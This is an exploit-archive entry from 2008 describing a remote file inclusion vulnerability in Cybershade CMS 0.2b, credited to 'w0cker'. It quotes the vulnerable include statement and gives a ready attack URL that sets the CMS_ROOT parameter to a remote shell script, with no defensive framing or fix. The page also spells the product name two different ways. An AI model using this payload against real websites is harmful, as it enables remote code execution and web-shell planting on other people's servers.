Cybershade CMS 0.2b Remote File Inclusion Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Cybershade CMS 0.2b Remote File Inclusion Vulnerability
# Published : 2008-10-31
# Author : w0cker
# Previous Title : Tribiq CMS 5.0.9a (beta) Insecure Cookie Handling Vulnerability
# Next Title : Tribiq CMS 5.0.10a Local File Inclusion Vulnerability (win)

Script Name : Cybershare CMS
 
Download : http://sourceforge.net/project/downloading.php?group_id=213056&use_mirror=surfnet&filename=cybershade_0.2b-DEV.zip&40561526
 
Error :
include $CMS_ROOT."core/core.php";
 
Vul. Code : htp://[site]/[path]/core/includes.php?CMS_ROOT=[Shell]
 
Thanks : Kezzap66345 - Septemb0x

# www.Syue.com [2008-10-31]